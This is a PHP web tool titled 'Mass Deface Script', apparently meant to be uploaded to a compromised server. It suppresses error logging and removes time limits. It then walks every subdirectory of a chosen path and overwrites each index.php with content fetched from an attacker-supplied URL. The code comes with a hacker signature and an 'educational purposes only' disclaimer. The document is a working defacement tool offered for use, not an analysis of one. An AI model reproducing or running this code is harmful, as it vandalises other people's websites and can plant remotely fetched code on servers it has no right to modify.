mass deface script

<title>Mass Deface Script</title>
<center><font color="white" face="Orbitron"><b>Mass Defacement</td></b></center>
<?php
/*
Script: Mass Deface Script Tool
Disclaimer:
This script is for Research/Educational/Academic purposes only,
The Author of this script takes no responsibility for the way
you use this script, you are responsible for your own actions.
*/
@session_start();
@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('display_errors',0);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
echo "<center><textarea rows='10' cols='100'>";
$defaceurl = $_POST['massdefaceurl'];
$dir = $_POST['massdefacedir'];
echo $dir."\n";

if (is_dir($dir)) {
    if ($dh = opendir($dir)) {
        while (($file = readdir($dh)) !== false) {
                        if(filetype($dir.$file)=="dir"){
                                $newfile=$dir.$file."/index.php";
                                echo $newfile."\n";
                                if (!copy($defaceurl, $newfile)) {
                                        echo "failed to copy $file...\n";
                                }
                        }
        }
        closedir($dh);
    }
}
echo "</textarea></center>";
?>
<center>
<font color="white">
<body bgcolor="#000000">
<font face="Iceland">
<br>
<form action='<?php basename($_SERVER['PHP_SELF']); ?>' method='post'>
[+] Main Directory: <input type='text' style='width: 250px' value='<?php  echo getcwd() . "/"; ?>' name='massdefacedir'>
<br><br>
[+] Defacement Url: <input type='text' style='width: 250px' name='massdefaceurl'>
<br>
<br>
<input type='submit' name='execmassdeface' value='Execute'></form></td>
 </center>


<br><br><br>
<font size="5"><center>
  This script is for Research/Educational/Academic purposes only, <br>
   Defacement Url = URL of your deface page (e.g: http://yoursite.com/hacked.html )<br><br>
</body></html>
<center><font face="Iceland"><b>Rec0ded by .::U7TiM4T3_H4x0R::.</b></center>

<center>
<?php
$ip = $_SERVER['REMOTE_ADDR'];
echo "Your IP : " . $ip;
?>
<font> | </font>
<?php
$server = $_SERVER['SERVER_ADDR'];
echo "Server IP : " . $server;
?>
</center>